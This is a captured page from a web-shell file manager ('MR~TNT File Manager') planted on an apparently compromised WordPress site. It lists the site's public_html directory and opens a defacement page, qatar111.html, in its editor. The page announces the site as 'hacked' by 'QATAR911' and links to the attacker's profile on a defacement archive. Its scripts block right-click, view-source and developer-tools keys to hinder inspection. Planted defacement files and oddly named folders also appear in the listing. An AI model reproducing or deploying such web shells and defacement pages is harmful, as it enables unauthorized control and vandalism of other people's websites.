MR~TNT File Manager
Current Path:
/home/greenfieldcom/public_html
home
/
greenfieldcom
/
public_html
/
ðŸ“
..
📄
.htaccess
(1.13 KB)
ðŸ“
12cc0
📄
QA911.html
(1.15 KB)
📄
XXQATARXX.html
(3.16 KB)
📄
XXXQAXXX.html
(3.47 KB)
ðŸ“
asset
ðŸ“
ca3561
ðŸ“
css
ðŸ“
e1a016
📄
error_log
(21.56 KB)
ðŸ“
f790c
ðŸ“
fonts
📄
google1246b63273e4232a.html
(53 B)
📄
google46f316969b4b796e.html
(53 B)
📄
google4dba1050b6593e8c.html
(53 B)
ðŸ“
images
📄
index.php0
(0 B)
ðŸ“
js
📄
license.txt
(543 B)
📄
qatar111.html
(28.11 KB)
📄
robots.txt
(390 B)
ðŸ“
wp-admin
ðŸ“
wp-content
ðŸ“
wp-includes
Editing: qatar111.html
<!DOCTYPE html><html><head><div class="video-background"><div class="video-foreground"><iframe id="video" src="https://www.youtube-nocookie.com/embed/4B3lt1ASV8s?si=cYZ7ibGppaR6mb-6?start=205?controls=0&showinfo=0&rel=0&autoplay=1&loop=1&enablejsapi=1&mute=1&start=10" frameborder="0" allow="autoplay; fullscreen"></iframe></div></div></script><div class="center"><center><div style="letter-spacing: 4px; font-size: 100px;"><a href="javascript:alert('QATAR911');">hacked</a></div><br><div style="letter-spacing: 4px; color:red; font-size: 100px;"><a href="https://zone-xsec.com/" target="_blank"></a><a href="https://zone-xsec.com/archive/attacker/QATAR911" target="_blank">QATAR<br>~QATAR911~</a><a href="https://zone-xsec.com/archive/attacker/QATAR911" target="_blank"></a></div><br><br><div id="pp" style="cursor: pointer; letter-spacing: 2px; font-size: 14px;"><a onclick="if (!window.__cfRLUnblockHandlers) return false; mutevid();">QATAR</a> / <a onclick="if (!window.__cfRLUnblockHandlers) return false; unmutevid();">QATAR911</a></div></center></div><script type="text/javascript"><title>QATAR-911</title><meta charset="UTF-8"><meta name="title" content="QATAR-911"><meta name="description" content="QATAR-911"><link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet"><script src="https://unpkg.com/feather-icons"></script><script type="6094be1c74004aa0a4f5571e-text/javascript"> window.onkeydown = function(evt) { if(evt.keyCode == 123 || evt.keyCode == 85 || evt.keyCode == 17 || evt.keyCode == 16 || evt.keyCode == 74 || evt.keyCode == 116 || evt.keyCode == 73) return false; }; window.onkeypress = function(evt) { if(evt.keyCode == 123 || evt.keyCode == 85 || evt.keyCode == 17 || evt.keyCode == 16 || evt.keyCode == 74 || evt.keyCode == 116 || evt.keyCode == 73) return false; }; function disableF5(e) { if ((e.which || e.keyCode) == 116) e.preventDefault(); }; $(document).on("keydown", disableF5); var i = 0; var titleText = [ "Valencitoh", "Valencito", "Valencit", "Valenci", "Valenc", "Valen", "Vale", "Val", "Va", "V", "Va", "Val", "Vale", "Valen", "Valenc", "Valenci", "Valencit", "Valencito", "Valencitoh" ]; if (document.addEventListener) { document.addEventListener("DOMContentLoaded", function() { loaded(); }); } else if (document.attachEvent) { document.attachEvent("onreadystatechange", function() { loaded(); }); } function loaded() { setInterval(loop, 500); } function loop() { document.getElementsByTagName("title")[0].innerHTML = titleText[i++ % titleText.length]; } document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 117)) { return false; } else { return true; } }; </script></head><script> document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function (e) { if(e.keyCode == 123) { return false; } if(e.ctrlKey && e.shiftKey && e.keyCode == 73){ return false; } if(e.ctrlKey && e.shiftKey && e.keyCode == 74) { return false; } if(e.ctrlKey && e.keyCode == 85) { return false; } } </script><style type="text/css"> h1 { font-family: 'Space Mono', monospace; font-size: clamp(1rem, 2vw, 2rem); color: white; padding: 0rem clamp(1rem, 2vw, 3rem); border-radius: clamp(0.4rem, 0.75vw, 1rem); } h1:hover { background-color: white; color: black; } </style><div class="center"><center><div style="letter-spacing: 4px; font-size: 24px;"><a href="#"><img src="https://files.catbox.moe/2ft4zd.gif" style=" width: 40%; "></a></div><br><br><div style="letter-spacing: 4px; font-size: 12px;"><a href="#" target="_blank"><h1 data-value="QATAR-911">QATAR-911</h1></a></div><brpn <br><br><br><div id="pp" style="cursor: pointer; letter-spacing: 2px; font-size: 14px;"><a onclick="if (!window.__cfRLUnblockHandlers) return false; mutevid();" data-cf-modified-6094be1c74004aa0a4f5571e-="">ميوت</a> / <a onclick="if (!window.__cfRLUnblockHandlers) return false; unmutevid();" data-cf-modified-6094be1c74004aa0a4f5571e-="">تشغيل <i data-feather="play"></i></a></div></center></div><script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script><script type="6094be1c74004aa0a4f5571e-text/javascript"> var tag = document.createElement('script'); tag.src ="https://www.youtube.com/iframe_api"; var firstScriptTag = document.getElementsByTagName('script')[0]; firstScriptTag.parentNode.insertBefore(tag, firstScriptTag); // after the API code downloads. var player; function onYouTubeIframeAPIReady() { player = new YT.Player('video', { events: { 'onReady': onPlayerReady, 'onStateChange': onPlayerStateChange } }); } function onPlayerReady(event) { event.target.setVolume(50); event.target.playVideo(); } // The function indicates that when playing a video (state=1), var done = false; function onPlayerStateChange(event) { var state = player.getPlayerState(); if(state == 0) player.playVideo(); } function playvid() { player.playVideo(); } function pausevid() { player.pauseVideo(); } function mutevid() { player.mute(); } function unmutevid() { player.unMute(); } </script><style> * { box-sizing: border-box; } .video-background { background: #000; position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: -99; } .video-foreground, .video-background iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; } #vidtop-content { top: 0; color: #fff; } .vid-info { position: absolute; top: 0; right: 0; width: 33%; background: rgba(0,0,0,0.3); color: #fff; padding: 1rem; font-family: Avenir, Helvetica, sans-serif; } .vid-info h1 { font-size: 2rem; font-weight: 700; margin-top: 0; line-height: 1.2; } .vid-info a { display: block; color: #fff; text-decoration: none; background: rgba(0,0,0,0.5); transition: .6s background; border-bottom: none; margin: 1rem auto; text-align: center; } @media (min-aspect-ratio: 16/9) { .video-foreground { height: 300%; top: -100%; } } @media (max-aspect-ratio: 16/9) { .video-foreground { width: 300%; left: -100%; } } @media all and (max-width: 600px) { .vid-info { width: 50%; padding: .5rem; } .vid-info h1 { margin-bottom: .2rem; } } @media all and (max-width: 500px) { .vid-info .acronym { display: none; } } body{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;} a { color: inherit; text-decoration: none !important; } .center { font-family: 'Montserrat', sans-serif; position: fixed; /* or absolute */ top: 50%; left: 50%; /* bring your own prefixes */ transform: translate(-50%, -50%); animation: fadein 3s; -moz-animation: fadein 3s; /* Firefox */ -webkit-animation: fadein 3s; /* Safari and Chrome */ -o-animation: fadein 3s; /* Opera */ } @keyframes fadein { from { opacity:0; } to { opacity:1; } } @-moz-keyframes fadein { /* Firefox */ from { opacity:0; } to { opacity:1; } } @-webkit-keyframes fadein { /* Safari and Chrome */ from { opacity:0; } to { opacity:1; } } @-o-keyframes fadein { /* Opera */ from { opacity:0; } to { opacity: 1; } } html, body { overflow: hidden; color: #fefeff; } body { margin: 0; position: absolute; width: 100%; height: 100%; } canvas { width: 100%; height: 100%; z-index: -999999999; opacity: 0.7; } [class^="letter"] { -webkit-transition: opacity 3s ease; -moz-transition: opacity 3s ease; transition: opacity 3s ease; } .letter-0 { transition-delay: 0.2s; } .letter-1 { transition-delay: 0.4s; } .letter-2 { transition-delay: 0.6s; } .letter-3 { transition-delay: 0.8s; } .letter-4 { transition-delay: 1.0s; } .letter-5 { transition-delay: 1.2s; } .letter-6 { transition-delay: 1.4s; } .letter-7 { transition-delay: 1.6s; } .letter-8 { transition-delay: 1.8s; } .letter-9 { transition-delay: 2.0s; } .letter-10 { transition-delay: 2.2s; } .letter-11 { transition-delay: 2.4s; } .letter-12 { transition-delay: 2.6s; } .letter-13 { transition-delay: 2.8s; } .letter-14 { transition-delay: 3.0s; } .letter-15 { transition-delay: 3.2s; } </style><script type="6094be1c74004aa0a4f5571e-text/javascript"> 'use strict'; var canvas = document.getElementsByTagName( 'canvas' )[ 0 ]; canvas.width = canvas.clientWidth; canvas.height = canvas.clientHeight; var config = { TEXTURE_DOWNSAMPLE: 1, DENSITY_DISSIPATION: 0.98, VELOCITY_DISSIPATION: 0.99, PRESSURE_DISSIPATION: 0.8, PRESSURE_ITERATIONS: 25, CURL: 30, SPLAT_RADIUS: 0.005 }; var pointers = []; var splatStack = []; var _getWebGLContext = getWebGLContext( canvas ); var gl = _getWebGLContext.gl; var ext = _getWebGLContext.ext; var support_linear_float = _getWebGLContext.support_linear_float; function getWebGLContext( canvas ) { var params = { alpha: false, depth: false, stencil: false, antialias: false }; var gl = canvas.getContext( 'webgl2', params ); var isWebGL2 = !!gl; if ( !isWebGL2 ) gl = canvas.getContext( 'webgl', params ) || canvas.getContext( 'experimental-webgl', params ); var halfFloat = gl.getExtension( 'OES_texture_half_float' ); var support_linear_float = gl.getExtension( 'OES_texture_half_float_linear' ); if ( isWebGL2 ) { gl.getExtension( 'EXT_color_buffer_float' ); support_linear_float = gl.getExtension( 'OES_texture_float_linear' ); } gl.clearColor( 0.0, 0.0, 0.0, 1.0 ); var internalFormat = isWebGL2 ? gl.RGBA16F : gl.RGBA; var internalFormatRG = isWebGL2 ? gl.RG16F : gl.RGBA; var formatRG = isWebGL2 ? gl.RG : gl.RGBA; var texType = isWebGL2 ? gl.HALF_FLOAT : halfFloat.HALF_FLOAT_OES; return { gl: gl, ext: { internalFormat: internalFormat, internalFormatRG: internalFormatRG, formatRG: formatRG, texType: texType }, support_linear_float: support_linear_float }; } function pointerPrototype() { this.id = -1; this.x = 0; this.y = 0; this.dx = 0; this.dy = 0; this.down = false; this.moved = false; this.color = [ 30, 0, 300 ]; } pointers.push( new pointerPrototype() ); var GLProgram = function () { function GLProgram( vertexShader, fragmentShader ) { if ( !(this instanceof GLProgram) ) throw new TypeError( "Cannot call a class as a function" ); this.uniforms = {}; this.program = gl.createProgram(); gl.attachShader( this.program, vertexShader ); gl.attachShader( this.program, fragmentShader ); gl.linkProgram( this.program ); if ( !gl.getProgramParameter( this.program, gl.LINK_STATUS ) ) throw gl.getProgramInfoLog( this.program ); var uniformCount = gl.getProgramParameter( this.program, gl.ACTIVE_UNIFORMS ); for ( var i = 0; i < uniformCount; i++ ) { var uniformName = gl.getActiveUniform( this.program, i ).name; this.uniforms[ uniformName ] = gl.getUniformLocation( this.program, uniformName ); } } GLProgram.prototype.bind = function bind() { gl.useProgram( this.program ); }; return GLProgram; }(); function compileShader( type, source ) { var shader = gl.createShader( type ); gl.shaderSource( shader, source ); gl.compileShader( shader ); if ( !gl.getShaderParameter( shader, gl.COMPILE_STATUS ) ) throw gl.getShaderInfoLog( shader ); return shader; } var baseVertexShader = compileShader( gl.VERTEX_SHADER, 'precision highp float; precision mediump sampler2D; attribute vec2 aPosition; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform vec2 texelSize; void main () { vUv = aPosition * 0.5 + 0.5; vL = vUv - vec2(texelSize.x, 0.0); vR = vUv + vec2(texelSize.x, 0.0); vT = vUv + vec2(0.0, texelSize.y); vB = vUv - vec2(0.0, texelSize.y); gl_Position = vec4(aPosition, 0.0, 1.0); }' ); var clearShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uTexture; uniform float value; void main () { gl_FragColor = value * texture2D(uTexture, vUv); }' ); var displayShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uTexture; void main () { gl_FragColor = texture2D(uTexture, vUv); }' ); var splatShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uTarget; uniform float aspectRatio; uniform vec3 color; uniform vec2 point; uniform float radius; void main () { vec2 p = vUv - point.xy; p.x *= aspectRatio; vec3 splat = exp(-dot(p, p) / radius) * color; vec3 base = texture2D(uTarget, vUv).xyz; gl_FragColor = vec4(base + splat, 1.0); }' ); var advectionManualFilteringShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uVelocity; uniform sampler2D uSource; uniform vec2 texelSize; uniform float dt; uniform float dissipation; vec4 bilerp (in sampler2D sam, in vec2 p) { vec4 st; st.xy = floor(p - 0.5) + 0.5; st.zw = st.xy + 1.0; vec4 uv = st * texelSize.xyxy; vec4 a = texture2D(sam, uv.xy); vec4 b = texture2D(sam, uv.zy); vec4 c = texture2D(sam, uv.xw); vec4 d = texture2D(sam, uv.zw); vec2 f = p - st.xy; return mix(mix(a, b, f.x), mix(c, d, f.x), f.y); } void main () { vec2 coord = gl_FragCoord.xy - dt * texture2D(uVelocity, vUv).xy; gl_FragColor = dissipation * bilerp(uSource, coord); gl_FragColor.a = 1.0; }' ); var advectionShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uVelocity; uniform sampler2D uSource; uniform vec2 texelSize; uniform float dt; uniform float dissipation; void main () { vec2 coord = vUv - dt * texture2D(uVelocity, vUv).xy * texelSize; gl_FragColor = dissipation * texture2D(uSource, coord); }' ); var divergenceShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uVelocity; vec2 sampleVelocity (in vec2 uv) { vec2 multiplier = vec2(1.0, 1.0); if (uv.x < 0.0) { uv.x = 0.0; multiplier.x = -1.0; } if (uv.x > 1.0) { uv.x = 1.0; multiplier.x = -1.0; } if (uv.y < 0.0) { uv.y = 0.0; multiplier.y = -1.0; } if (uv.y > 1.0) { uv.y = 1.0; multiplier.y = -1.0; } return multiplier * texture2D(uVelocity, uv).xy; } void main () { float L = sampleVelocity(vL).x; float R = sampleVelocity(vR).x; float T = sampleVelocity(vT).y; float B = sampleVelocity(vB).y; float div = 0.5 * (R - L + T - B); gl_FragColor = vec4(div, 0.0, 0.0, 1.0); }' ); var curlShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uVelocity; void main () { float L = texture2D(uVelocity, vL).y; float R = texture2D(uVelocity, vR).y; float T = texture2D(uVelocity, vT).x; float B = texture2D(uVelocity, vB).x; float vorticity = R - L - T + B; gl_FragColor = vec4(vorticity, 0.0, 0.0, 1.0); }' ); var vorticityShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uVelocity; uniform sampler2D uCurl; uniform float curl; uniform float dt; void main () { float L = texture2D(uCurl, vL).y; float R = texture2D(uCurl, vR).y; float T = texture2D(uCurl, vT).x; float B = texture2D(uCurl, vB).x; float C = texture2D(uCurl, vUv).x; vec2 force = vec2(abs(T) - abs(B), abs(R) - abs(L)); force *= 1.0 / length(force + 0.00001) * curl * C; vec2 vel = texture2D(uVelocity, vUv).xy; gl_FragColor = vec4(vel + force * dt, 0.0, 1.0); }' ); var pressureShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uPressure; uniform sampler2D uDivergence; vec2 boundary (in vec2 uv) { uv = min(max(uv, 0.0), 1.0); return uv; } void main () { float L = texture2D(uPressure, boundary(vL)).x; float R = texture2D(uPressure, boundary(vR)).x; float T = texture2D(uPressure, boundary(vT)).x; float B = texture2D(uPressure, boundary(vB)).x; float C = texture2D(uPressure, vUv).x; float divergence = texture2D(uDivergence, vUv).x; float pressure = (L + R + B + T - divergence) * 0.25; gl_FragColor = vec4(pressure, 0.0, 0.0, 1.0); }' ); var gradientSubtractShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uPressure; uniform sampler2D uVelocity; vec2 boundary (in vec2 uv) { uv = min(max(uv, 0.0), 1.0); return uv; } void main () { float L = texture2D(uPressure, boundary(vL)).x; float R = texture2D(uPressure, boundary(vR)).x; float T = texture2D(uPressure, boundary(vT)).x; float B = texture2D(uPressure, boundary(vB)).x; vec2 velocity = texture2D(uVelocity, vUv).xy; velocity.xy -= vec2(R - L, T - B); gl_FragColor = vec4(velocity, 0.0, 1.0); }' ); var textureWidth = void 0; var textureHeight = void 0; var density = void 0; var velocity = void 0; var divergence = void 0; var curl = void 0; var pressure = void 0; initFramebuffers(); var clearProgram = new GLProgram( baseVertexShader, clearShader ); var displayProgram = new GLProgram( baseVertexShader, displayShader ); var splatProgram = new GLProgram( baseVertexShader, splatShader ); var advectionProgram = new GLProgram( baseVertexShader, support_linear_float ? advectionShader : advectionManualFilteringShader ); var divergenceProgram = new GLProgram( baseVertexShader, divergenceShader ); var curlProgram = new GLProgram( baseVertexShader, curlShader ); var vorticityProgram = new GLProgram( baseVertexShader, vorticityShader ); var pressureProgram = new GLProgram( baseVertexShader, pressureShader ); var gradienSubtractProgram = new GLProgram( baseVertexShader, gradientSubtractShader ); function initFramebuffers() { textureWidth = gl.drawingBufferWidth >> config.TEXTURE_DOWNSAMPLE; textureHeight = gl.drawingBufferHeight >> config.TEXTURE_DOWNSAMPLE; var iFormat = ext.internalFormat; var iFormatRG = ext.internalFormatRG; var formatRG = ext.formatRG; var texType = ext.texType; density = createDoubleFBO( 0, textureWidth, textureHeight, iFormat, gl.RGBA, texType, support_linear_float ? gl.LINEAR : gl.NEAREST ); velocity = createDoubleFBO( 2, textureWidth, textureHeight, iFormatRG, formatRG, texType, support_linear_float ? gl.LINEAR : gl.NEAREST ); divergence = createFBO( 4, textureWidth, textureHeight, iFormatRG, formatRG, texType, gl.NEAREST ); curl = createFBO( 5, textureWidth, textureHeight, iFormatRG, formatRG, texType, gl.NEAREST ); pressure = createDoubleFBO( 6, textureWidth, textureHeight, iFormatRG, formatRG, texType, gl.NEAREST ); } function createFBO( texId, w, h, internalFormat, format, type, param ) { gl.activeTexture( gl.TEXTURE0 + texId ); var texture = gl.createTexture(); gl.bindTexture( gl.TEXTURE_2D, texture ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, param ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, param ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE ); gl.texImage2D( gl.TEXTURE_2D, 0, internalFormat, w, h, 0, format, type, null ); var fbo = gl.createFramebuffer(); gl.bindFramebuffer( gl.FRAMEBUFFER, fbo ); gl.framebufferTexture2D( gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, texture, 0 ); gl.viewport( 0, 0, w, h ); gl.clear( gl.COLOR_BUFFER_BIT ); return [ texture, fbo, texId ]; } function createDoubleFBO( texId, w, h, internalFormat, format, type, param ) { var fbo1 = createFBO( texId, w, h, internalFormat, format, type, param ); var fbo2 = createFBO( texId + 1, w, h, internalFormat, format, type, param ); return { get first() { return fbo1; }, get second() { return fbo2; }, swap: function swap() { var temp = fbo1; fbo1 = fbo2; fbo2 = temp; } }; } var blit = function () { gl.bindBuffer( gl.ARRAY_BUFFER, gl.createBuffer() ); gl.bufferData( gl.ARRAY_BUFFER, new Float32Array( [ -1, -1, -1, 1, 1, 1, 1, -1 ] ), gl.STATIC_DRAW ); gl.bindBuffer( gl.ELEMENT_ARRAY_BUFFER, gl.createBuffer() ); gl.bufferData( gl.ELEMENT_ARRAY_BUFFER, new Uint16Array( [ 0, 1, 2, 0, 2, 3 ] ), gl.STATIC_DRAW ); gl.vertexAttribPointer( 0, 2, gl.FLOAT, false, 0, 0 ); gl.enableVertexAttribArray( 0 ); return function ( destination ) { gl.bindFramebuffer( gl.FRAMEBUFFER, destination ); gl.drawElements( gl.TRIANGLES, 6, gl.UNSIGNED_SHORT, 0 ); }; }(); var lastTime = Date.now(); update(); function update() { resizeCanvas(); var dt = Math.min( (Date.now() - lastTime) / 1000, 0.016 ); lastTime = Date.now(); gl.viewport( 0, 0, textureWidth, textureHeight ); if ( splatStack.length > 0 ) { for ( var m = 0; m < splatStack.pop(); m++ ) { var color = [ Math.random() * 10, Math.random() * 10, Math.random() * 10 ]; var x = canvas.width * Math.random(); var y = canvas.height * Math.random(); var dx = 1000 * (Math.random() - 0.5); var dy = 1000 * (Math.random() - 0.5); splat( x, y, dx, dy, color ); } } advectionProgram.bind(); gl.uniform2f( advectionProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( advectionProgram.uniforms.uVelocity, velocity.first[ 2 ] ); gl.uniform1i( advectionProgram.uniforms.uSource, velocity.first[ 2 ] ); gl.uniform1f( advectionProgram.uniforms.dt, dt ); gl.uniform1f( advectionProgram.uniforms.dissipation, config.VELOCITY_DISSIPATION ); blit( velocity.second[ 1 ] ); velocity.swap(); gl.uniform1i( advectionProgram.uniforms.uVelocity, velocity.first[ 2 ] ); gl.uniform1i( advectionProgram.uniforms.uSource, density.first[ 2 ] ); gl.uniform1f( advectionProgram.uniforms.dissipation, config.DENSITY_DISSIPATION ); blit( density.second[ 1 ] ); density.swap(); for ( var i = 0, len = pointers.length; i < len; i++ ) { var pointer = pointers[ i ]; if ( pointer.moved ) { splat( pointer.x, pointer.y, pointer.dx, pointer.dy, pointer.color ); pointer.moved = false; } } curlProgram.bind(); gl.uniform2f( curlProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( curlProgram.uniforms.uVelocity, velocity.first[ 2 ] ); blit( curl[ 1 ] ); vorticityProgram.bind(); gl.uniform2f( vorticityProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( vorticityProgram.uniforms.uVelocity, velocity.first[ 2 ] ); gl.uniform1i( vorticityProgram.uniforms.uCurl, curl[ 2 ] ); gl.uniform1f( vorticityProgram.uniforms.curl, config.CURL ); gl.uniform1f( vorticityProgram.uniforms.dt, dt ); blit( velocity.second[ 1 ] ); velocity.swap(); divergenceProgram.bind(); gl.uniform2f( divergenceProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( divergenceProgram.uniforms.uVelocity, velocity.first[ 2 ] ); blit( divergence[ 1 ] ); clearProgram.bind(); var pressureTexId = pressure.first[ 2 ]; gl.activeTexture( gl.TEXTURE0 + pressureTexId ); gl.bindTexture( gl.TEXTURE_2D, pressure.first[ 0 ] ); gl.uniform1i( clearProgram.uniforms.uTexture, pressureTexId ); gl.uniform1f( clearProgram.uniforms.value, config.PRESSURE_DISSIPATION ); blit( pressure.second[ 1 ] ); pressure.swap(); pressureProgram.bind(); gl.uniform2f( pressureProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( pressureProgram.uniforms.uDivergence, divergence[ 2 ] ); pressureTexId = pressure.first[ 2 ]; gl.activeTexture( gl.TEXTURE0 + pressureTexId ); for ( var _i = 0; _i < config.PRESSURE_ITERATIONS; _i++ ) { gl.bindTexture( gl.TEXTURE_2D, pressure.first[ 0 ] ); gl.uniform1i( pressureProgram.uniforms.uPressure, pressureTexId ); blit( pressure.second[ 1 ] ); pressure.swap(); } gradienSubtractProgram.bind(); gl.uniform2f( gradienSubtractProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( gradienSubtractProgram.uniforms.uPressure, pressure.first[ 2 ] ); gl.uniform1i( gradienSubtractProgram.uniforms.uVelocity, velocity.first[ 2 ] ); blit( velocity.second[ 1 ] ); velocity.swap(); gl.viewport( 0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight ); displayProgram.bind(); gl.uniform1i( displayProgram.uniforms.uTexture, density.first[ 2 ] ); blit( null ); requestAnimationFrame( update ); } function splat( x, y, dx, dy, color ) { splatProgram.bind(); gl.uniform1i( splatProgram.uniforms.uTarget, velocity.first[ 2 ] ); gl.uniform1f( splatProgram.uniforms.aspectRatio, canvas.width / canvas.height ); gl.uniform2f( splatProgram.uniforms.point, x / canvas.width, 1.0 - y / canvas.height ); gl.uniform3f( splatProgram.uniforms.color, dx, -dy, 1.0 ); gl.uniform1f( splatProgram.uniforms.radius, config.SPLAT_RADIUS ); blit( velocity.second[ 1 ] ); velocity.swap(); gl.uniform1i( splatProgram.uniforms.uTarget, density.first[ 2 ] ); gl.uniform3f( splatProgram.uniforms.color, color[ 0 ] * 0.3, color[ 1 ] * 0.3, color[ 2 ] * 0.3 ); blit( density.second[ 1 ] ); density.swap(); } function resizeCanvas() { ( canvas.width !== canvas.clientWidth || canvas.height !== canvas.clientHeight ) && ( canvas.width = canvas.clientWidth, canvas.height = canvas.clientHeight, initFramebuffers() ); } var count = 0; var colorArr = [ Math.random() + 0.2, Math.random() + 0.2, Math.random() + 0.2 ]; canvas.addEventListener( 'mousemove', function ( e ) { count++; ( count > 25 ) && (colorArr = [ Math.random() + 0.2, Math.random() + 0.2, Math.random() + 0.2 ], count = 0); pointers[ 0 ].down = true; pointers[ 0 ].color = colorArr; pointers[ 0 ].moved = pointers[ 0 ].down; pointers[ 0 ].dx = (e.offsetX - pointers[ 0 ].x) * 10.0; pointers[ 0 ].dy = (e.offsetY - pointers[ 0 ].y) * 10.0; pointers[ 0 ].x = e.offsetX; pointers[ 0 ].y = e.offsetY; } ); canvas.addEventListener( 'touchmove', function ( e ) { e.preventDefault(); var touches = e.targetTouches; count++; ( count > 25 ) && (colorArr = [ Math.random() + 0.2, Math.random() + 0.2, Math.random() + 0.2 ], count = 0); for ( var i = 0, len = touches.length; i < len; i++ ) { if ( i >= pointers.length ) pointers.push( new pointerPrototype() ); pointers[ i ].id = touches[ i ].identifier; pointers[ i ].down = true; pointers[ i ].x = touches[ i ].pageX; pointers[ i ].y = touches[ i ].pageY; pointers[ i ].color = colorArr; var pointer = pointers[ i ]; pointer.moved = pointer.down; pointer.dx = (touches[ i ].pageX - pointer.x) * 10.0; pointer.dy = (touches[ i ].pageY - pointer.y) * 10.0; pointer.x = touches[ i ].pageX; pointer.y = touches[ i ].pageY; } }, false ); </script><script> const letters ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"; let interval = null; document.querySelector("h1").onmouseover = event => { let iteration = 0; clearInterval(interval); interval = setInterval(() => { event.target.innerText = event.target.innerText .split("") .map((letter, index) => { if(index < iteration) { return event.target.dataset.value[index]; } return letters[Math.floor(Math.random() * 26)] }) .join(""); if(iteration >= event.target.dataset.value.length){ clearInterval(interval); } iteration += 1 / 3; }, 30); } </script><script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="6094be1c74004aa0a4f5571e-|49" defer=""></script><script defer src="https://static.cloudflareinsights.com/beacon.min.js" data-cf-beacon='{"rayId":"58dd713acaa5d911","version":"2020.3.0","startTime":1588545192724}'></script></body></html>
Upload File
Create Folder